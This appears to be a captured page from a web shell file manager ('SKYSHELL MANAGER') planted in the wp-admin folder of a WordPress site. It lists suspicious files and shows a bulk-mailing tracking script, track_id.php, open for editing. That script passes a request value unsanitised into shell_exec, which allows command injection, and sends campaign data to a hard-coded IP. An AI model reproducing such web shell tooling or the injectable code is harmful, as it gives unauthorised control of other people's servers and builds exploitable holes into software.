📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: track_id.php
<?php define('INCLUDE_CHECK',true); include_once 'connect.php'; # Create New Track ID if($_REQUEST['key']==2) { $subject_line=$_REQUEST['sub']; $from_line=$_REQUEST['from_name']; $emp_id=$_REQUEST['eid']; $isp=$_REQUEST['ispp']; $trigno=$_REQUEST['trigno']; $off_id=$_REQUEST['off_id']; $file_name=trim($_REQUEST['file_name']); $header=$_REQUEST['header']; $content_type=$_REQUEST['content_type']; $mailing_type=$_REQUEST['mailing_type']; $stat_id_from=$_REQUEST['stat_id_from']; $ch_id=$_REQUEST['ch_id']; $dtrack_id=$_REQUEST['dtrack_id']; $data_type=$_REQUEST['data_type']; //$mailing_type='de'; $date = date("Y-m-d"); $date_time = date("Y-m-d H:i:s"); if($content_type=='multipart') { $hrd_msg=$_REQUEST['hrd_msg']; $mltp_msg=$_REQUEST['mltp_msg']; $htm_msg=$_REQUEST['htm_msg']; $pln_msg=$_REQUEST['pln_msg']; $message=$hrd_msg."\r\n".$mltp_msg; $message=trim(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $message)); // To Remove Empty Line in headers $message=str_replace("{html_message}",$htm_msg,$message); $message=str_replace("{text_message}",$pln_msg,$message); $creative=mysql_escape_string($message); }else { $message=$_REQUEST['message']; $header=trim(preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", $header)); // To Remove Empty Line in headers $message=$header."\r\n".$message; $creative=mysql_escape_string($message); } $ispp=isp3($isp); if($stat_id_from=='db'){ # get data file size from main Server $wc=trim(file_get_contents("$local_server/common_file.php?key=3&file_name=$file_name")); }else{# get data file size from local $wc=trim(shell_exec("wc -l /var/www/download/$file_name | awk '{ print $1 }'")); } if(empty($wc) || $wc==0 ) { echo "<div class='alert alert-error'><strong>Warning! </strong> You haven't mentioned Data file or Your Data file is Empty... </div>"; exit; } $stat_id=explode('\r\n',mysql_real_escape_string(trim($_REQUEST['stat_id']))); $stat_id1=array_unique($stat_id); $stat_id=implode('|', $stat_id1); #Insert track information into cu_tracks on main server #$server_code=mysql_real_escape_string($serveralias); $drop=get_drop_id($date,$emp_id,$off_id); $sid_1=urlencode($stat_id);$sub_line_1=urlencode($subject_line);$fl_1=urlencode($from_line);$cr_1=urlencode($creative);$eid_1=urlencode($emp_id);$did_1=urlencode($drop); $dt_1=urlencode($date_time);$isp_1=urlencode($isp);$mt_1=urlencode($mailing_type);$tr_1=urlencode($trigno);$off_1=urlencode($off_id); $ch_id_1=urlencode($ch_id); $dtrack_id=urlencode($dtrack_id); $ddata_type=urlencode($data_type); $HVR_IP="http://74.208.164.141"; $CD3_IP="http://74.208.164.141"; #HVR-1 if(trim(file_get_contents("$HVR_IP/WebXmail_info/ping"))) { $main_url="$HVR_IP/WebXmail_info"; $key1=31;$key2=32; #CD-3 }elseif(trim(file_get_contents("$CD3_IP/WebXmail_info/ping"))) { $main_url="$CD3_IP/WebXmail_info"; $key1=1;$key2=2; }else { echo "Sorry , HVR-1 and CD-3 Server is down try later..";exit; } $track_id=trim(file_get_contents("$main_url/global_file.php?k=$key1&stat_id=$sid_1&subject_line=$sub_line_1&from_line=$fl_1&creative=$cr_1&emp_id=$eid_1&drop=$did_1&date_time=$dt_1&isp=$isp_1&mailing_type=$mt_1&off_id=$off_1&trigno=$tr_1&ch_id=$ch_id_1&dtrack_id=$dtrack_id&data_type=$ddata_type")); foreach ($stat_id1 as $li) { if(strlen($ch_id)==2) $ch_id=$ch_id."0"; $rand=dechex(time()); $li=trim($li); $d = $drop; $redid = urlencode($li.$d.$emp_id.$ispp.$mailing_type.$ch_id.$trigno.$data_type.uniqid()); $offerdrop="0"; $stat=$li; $stat1 = substr($stat, 0, 2); $stat2 = substr($stat, 4, 2); $stat="$stat1$stat2"; $stat_64=urlencode($stat);$off_id_64=urlencode($off_id);$track_id_64=urlencode($track_id);$li_64=urlencode($li);$redurl_64=urlencode($redurl);$date_time_64=urlencode($date_time);$ispp_64=urlencode($ispp);$stat1_64=urlencode($stat1);$stat2_64=urlencode($stat2);$data_type_64=urlencode($data_type); #Insert mailing information into cu_redirect and cu_segments table on main server $updseg=trim(file_get_contents("$main_url/global_file.php?k=$key2&stat_id=$stat_64&offer_id=$off_id_64&redid=$redid&track_id=$track_id_64&li=$li_64&redurl=$redurl_64&date_time=$date_time_64&ispp=$ispp_64&stat1=&$stat1_64&stat2=&$stat2_64&data_type=$data_type_64")); } if($updseg==TRUE) { echo "<strong>Track id created successfully. Track id: $track_id.</strong>"; }else { echo "<strong>Track id creation failed..</strong>"; } exit; } # Load track id info if($_REQUEST['key']==3) { $track_id=$_REQUEST['track_id']; $ttrack_id=$_REQUEST['ttrack_id']; # for Loading old process if(empty($track_id)){ # for new track id $sisp=$_REQUEST['isp']; $sgroup_name=$_REQUEST['group_name']; $offer_id=$_REQUEST['offer_id']; $file_name=$_REQUEST['file_name']; $stat_id=$_REQUEST['stat_id']; # get old track id info for Load old process from main server $content=trim(file_get_contents("$local_server/common_file.php?key=2&track_id=$ttrack_id")); $t=explode('~',$content); $ssgroup_name=$t[1]; $smailing_type=$t[4]; $schannel_id=$t[5]; $sdata_type=$t[6]; $flag=0; }else{ # get old track id info for duplicate track id from main server $str=trim(file_get_contents("$local_server/common_file.php?key=2&track_id=$track_id")); $temp=explode('~',$str); $sisp=$temp[0]; $sgroup_name=$temp[1]; $offer_id=$temp[2]; $stat_id=$temp[3]; $mailing_type=$temp[4]; $channel_id=$temp[5]; $data_type=$temp[6]; $stat=explode("|",$stat_id); $stat_id=implode("\r\n",$stat); echo "<input type='hidden' name='dtrack_id' id='dtrack_id' value='$track_id'>"; $flag=1; } ?> <br> <?php $lstyle="style='width:77px;'"; $cstyle="style='margin-left:10px'";?> <div class="control-group" > <label class="control-label" for='ispp' <?php echo $lstyle; ?>><strong>ISP : </strong></label> <div class="controls" <?php echo $cstyle; ?>> <select id="ispp" class="input-medium , req" data-rule-required="true" name="ispp" > <option value="">-- Please select --</option> <?php echo ispDropDownOptions($sisp,1); ?> </select> <br><span class='error' for='ispp' >This field is required.</span> </div> </div> <div class="control-group" > <label class="control-label" for='mailing_type' <?php echo $lstyle; ?>><strong>Channel : </strong></label> <div class="controls" <?php echo $cstyle; ?>> <select id="mailing_type" name="mailing_type" class="input-medium , req" data-rule-required="true" > <option value="">-- Please select --</option> <option value="es">ESP</option> <option value="de">DEDICATED</option> <option value="lm">LIST MGNT</option> </select> <br><span class='error' for='ispp' >This field is required.</span> </div> </div> <div class="control-group"> <label for="category" class="control-label" for='trigno' <?php echo $lstyle; ?>><strong>Group : </strong></label> <div class="controls" <?php echo $cstyle; ?>> <select id="trigno" name="trigno" class="input-medium , req" > <option value="" selected="">-- Please select --</option> <option value="od">ESP</option> <option value="zq">Dedicated</option> <option value="zb">Broadband</option> <option value="yb">Yahoo Bulk</option> <option value="rm">List Mgnt</option> <option value="yg">Yahoo Group</option> <option value="fs">Yahoo FS</option> </select> <br><span class='error' for='trigno' >This field is required.</span> </div> </div> <span id='channel_account_res'></span> <div class='control-group' > <label class='control-label' for='off_id' <?php echo $lstyle; ?>><strong>Offer ID : </strong> </label> <div class='controls' <?php echo $cstyle; ?>> <input name='off_id' id='off_id' class='input-medium , req' type='text' data-rule-required='true' data-rule-number='true' value='<?php echo $offer_id; ?>'><span id='auto_process'></span> <br><span class='error' for='off_id' >This field is required.</span> </div> </div> <div class='control-group' > <label class='control-label' for='data_type' <?php echo $lstyle; ?>><strong>Data Type : </strong> </label> <div class='controls' <?php echo $cstyle; ?>> <select name='data_type' id='data_type' class='input-medium , req' > <option value="" selected="">-- Please select --</option> <?php echo datatypeOptions(); ?> </select> <br><span class='error' for='data_type' >This field is required.</span> </div> </div> <div class='control-group' > <strong>Stat ID From : </strong> <span>DB <span><input type='radio' name='stat_id_from' id='stat_id_from' class='req' value='db' checked> <span>Local </span><input type='radio' name='stat_id_from' id='stat_id_from' class='req' value='lo' > </div> <div class='control-group' style='width:273px;'> <label for='file_name' class='control-label' <?php echo $lstyle; ?>><strong>Data File : </strong></label> <div class='controls' <?php echo $cstyle; ?>> <input type='text' name='file_name' id='file_name' class='input-medium , req' value='<?php echo $file_name; ?>'> <!-- <span class="btn btn-info" ><i class="icon-refresh"></i></span> --> <br><span id='stat_id_process' style='color:#368EE0;'></span> <br><span class='error' for='file_name' >This field is required.</span> </div> </div> <div class='control-group' > <label for='stat_id' class='control-label' <?php echo $lstyle; ?>><strong>Stat ID : </strong></label> <div class='controls' <?php echo $cstyle; ?>> <textarea rows='7' id='stat_id' name='stat_id' class='input-medium , req' ><?php $stat_id=str_replace(",","\n",$stat_id);echo $stat_id; ?></textarea> <br><span class='error' for='stat_id' >This field is required.</span> </div> </div> <div class='control-group' > <span id='create_tid_btn' class="btn btn-success" style='margin-left:110px;' >Create Track ID</span> </div> <div id='create_tid_res' style='width:400px;'></div> <div id='track_id_info_res'></div> <script type='text/javascript'> $(document).ready(function() { var trackid='<?php echo $track_id; ?>'; var flag='<?php echo $flag; ?>'; var sgroup_name,mailing_type,channel_id,data_type; //var mailing_type; //var channel_id; //var data_type; if(flag==0){ sgroup_name='<?php echo $ssgroup_name; ?>'; mailing_type='<?php echo $smailing_type; ?>'; channel_id='<?php echo $schannel_id; ?>'; data_type='<?php echo $sdata_type; ?>'; }else{ sgroup_name='<?php echo $sgroup_name; ?>'; mailing_type='<?php echo $mailing_type; ?>'; channel_id='<?php echo $channel_id; ?>'; data_type='<?php echo $data_type; ?>'; } $.set_dropdownValue('trigno',sgroup_name); $.set_dropdownValue('mailing_type',mailing_type); $.set_dropdownValue('data_type',data_type); if(mailing_type && channel_id){ $.loadChannelSubAccount(mailing_type,channel_id); } //get stat_id from data file name $('#file_name').blur(function(e) { if($('input:radio[name=stat_id_from]:checked').val()=='db') { // get stat_id from main server $('#stat_id_process').html('Processing...'); $.post('common_file.php',{ key:5 ,file_name: $('#file_name').val() },function(data){ var data=data.split(','); var data = $.grep(data, function(n, i){ return (n !== "" && n != null); }); var data = data.join("\n"); $('#stat_id').val(data); /*var d=$('#stat_id').val(); var d=d.split('\n'); var d=$.grep(d, function(n, i){ return (n !== "" && n != null); }); var d=d1.join("\n"); $('#stat_id').val(d); */ $('#stat_id_process').html(''); //updated } ); } else { $('#stat_id_process').html('Processing...'); // get stat_id from local server $.post('track_id.php',{ key:4 ,file_name: $('#file_name').val() },function(data){ $('#stat_id').val(data); $('#stat_id_process').html(''); } ); } }); // Create new track id $('#create_tid_btn').click(function() { if(!$("#mailing_form #sub").val() && trackid =='' ) { $.errorMsg('sub'); return false; } if(!$("#mailing_form #from_name").val() && trackid =='') { $.errorMsg('from_name'); return false; } if(!$("#mailing_form #ispp").val()) { $.errorMsg('ispp'); return false; } if(!$("#mailing_form #mailing_type").val()) { $.errorMsg('mailing_type'); return false; } if(!$("#mailing_form #trigno").val()) { $.errorMsg('trigno'); return false; } if(!$("#mailing_form #off_id").val()) { $.errorMsg('off_id'); return false; } if(!$("#mailing_form #file_name").val()) { $.errorMsg('file_name'); return false; } if(!$("#mailing_form #stat_id").val()) { $.errorMsg('stat_id'); return false; } $("#mailing_form #key").val(2); $('#create_tid_res').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.post("track_id.php", $('#mailing_form').serialize(), function( data ) { $('#create_tid_res').html(data); var str=data.split(':'); var str1=str[1].split('.'); var tid=$.trim(str1[0]); $('#track_id').val(tid); $('#data_file').val($('#file_name').val()); $.post("common_file.php", { key:4,tid:tid }, function( data ) { $('#track_id_info_res').html(data); } ); }); }); $('[type=radio]').css('margin-top','-2px'); $('#mailing_form .error').hide(); $('#mailing_form .req').focusout(function(){ $.errorMsg($(this).attr('id')); }); $('#mailing_form .req').bind('keypress focus click', function() { $.nrlMsg($(this).attr('id')); }); // getting corresponding channel account from main server $('#mailing_type').change(function(e) { $('#channel_account_res').html("<a class='btn btn-green btn-mini' href='#' ><i class='icon-refresh icon-spin'></i> Processing... </a>"); $.loadChannelSubAccount($(this).val(),0); return false; }); }); $.errorMsg=function(id) { if(!$('#mailing_form #'+id).val() && $('mailing_form #'+id).attr('id') !='textfield27') { $('#mailing_form #'+id).css({'border-color':'brown','color':'brown'}); $('#mailing_form').find("span[for='"+id+"']").show().css('color','brown'); $('#mailing_form').find("label[for='"+id+"']").css('color','brown'); } } $.nrlMsg=function(id) { $('#mailing_form #'+id).css({'border-color':'#468847','color':'#468847'}); $('#mailing_form').find("span[for='"+id+"']").hide(); $('#mailing_form').find("label[for='"+id+"']").css('color','#468847'); } $.loadChannelSubAccount=function(mailing_type,channel_id) { $.post("common_file.php", { key : 8, mailing_type: mailing_type , channel_id:channel_id }, function( data ) { $('#channel_account_res').html(data); } ); } $.set_dropdownValue=function(id,option_value) { $("#"+id+">option").map(function() { if ($(this).val().toLowerCase() == option_value) { $(this).attr('selected', 'selected') }; }); } </script> <?php exit; } #get stat id from local server if($_REQUEST['key']==4) { $filename=trim($_REQUEST[file_name]); echo trim(file_get_contents("$local_server/get_stat_id.php?file=$filename")); exit; } function get_drop_id($date,$emp_id,$off_id) { $num_rows=trim(file_get_contents("$local_server/common_file.php?key=9&date=$date&emp_id=$emp_id&off_id=$off_id")); return $num_rows; } ?>
Save